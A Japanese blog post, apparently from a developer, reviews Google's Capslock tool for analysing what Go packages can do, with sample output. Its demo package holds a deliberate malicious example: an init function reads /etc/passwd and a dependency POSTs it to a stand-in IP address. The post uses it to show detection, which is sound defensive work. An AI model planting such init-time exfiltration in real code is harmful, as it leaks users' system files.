ご無沙汰です。@Esperna です。
背景
10/31にGo 1.21 リリースパーティ & GopherCon 2023 報告会に参加して来ました。
そこで、Capslockというセキュリティリスクの可視化ツールが紹介されていて、興味深かったのでブログに書きます。
Capslock
まずCapslockが何かというと、Capslockはmoduleであるpackageとそれが依存するpackageを解析するものです。脆弱性ではなくCapabilityというものを分析し、脆弱性につながる依存関係を検出するものと私は理解しています。
Capslockを動かしてみた。
Capslock: What is your code really capable of?というGoogleのセキュリティブログにある Using Capslockというコードを書いたポンチ絵があるのですが、それを写経したコードで構成されるpackageに対して、Capslockを実行してみます。
フォルダ構造は以下
tree
.
├── external
│ └── external.go
├── go.mod
└── main.go
2 directories, 3 files
ファイルの内容は以下の通り
cat go.mod
module sample
go 1.21
package main
import (
"os"
"sample/external"
)
func init() {
data, _ := os.ReadFile("/etc/passwd")
external.Analyze(data)
}
package external
import (
"bytes"
"net/http"
)
func Analyze(data []byte) {
http.Post("203.0.113.42", "text/plain", bytes.NewReader(data))
}
実際実行してみるとCAPABILITY_FILESとCAPABILITY_NETWORKというCapabilityが検出されました。
capslock -packages sample
2023/11/02 08:37:30 Loaded package "main"
Capslock is an experimental tool for static analysis of Go packages. Share feedback and file bugs at github.com/google/capslock.
For additional debugging signals, use verbose mode with -output=v
To get machine-readable full analysis output, use -output=json
Analyzed packages:
CAPABILITY_FILES: 2 references
CAPABILITY_NETWORK: 2 references
CAPABILITY_FILESはファイルシステムの読み書きができることを示していて
CAPABILITY_NETWORKはネットワーク通信ができることを示しています。
-output=vをつけると詳細が出力されます。
capslock -packages sample -output=v
2023/11/02 08:38:42 Loaded package "main"
Capslock is an experimental tool for static analysis of Go packages. Share feedback and file bugs at github.com/google/capslock.
To get machine-readable full analysis output, use -output=json
Analyzed packages:
CAPABILITY_FILES: 2 references
2 direct, 0 transitive
Example callpath: sample.init sample.init#1 os.ReadFile
CAPABILITY_NETWORK: 2 references
2 direct, 0 transitive
Example callpath: sample.init sample.init#1 sample/external.Analyze net/http.Post
-output=jsonを付けるとjson出力できます
capslock -packages sample -output=json
2023/11/02 08:39:02 Loaded package "main"
{
"capabilityInfo": [
{
"packageName": "main",
"capability": "CAPABILITY_NETWORK",
"depPath": "sample.init#1 sample/external.Analyze net/http.Post",
"path": [
{
"name": "sample.init#1"
},
{
"name": "sample/external.Analyze",
"site": {
"filename": "main.go",
"line": "10",
"column": "18"
}
},
{
"name": "net/http.Post",
"site": {
"filename": "external.go",
"line": "9",
"column": "11"
}
}
],
"packageDir": "sample",
"capabilityType": "CAPABILITY_TYPE_DIRECT"
},
以下略
Go 1.21 リリースパーティで聞いた話では静的解析では検出できない、ネットワークのアクセス、外部コマンドの実行など未発見の脆弱性に対応できうるものということで、悪意のあるコードをinit関数に混ぜ込まれたりした時に見つけることができるというものでした。
所感
もっと実際のコードに色々試して調べてみようと思います。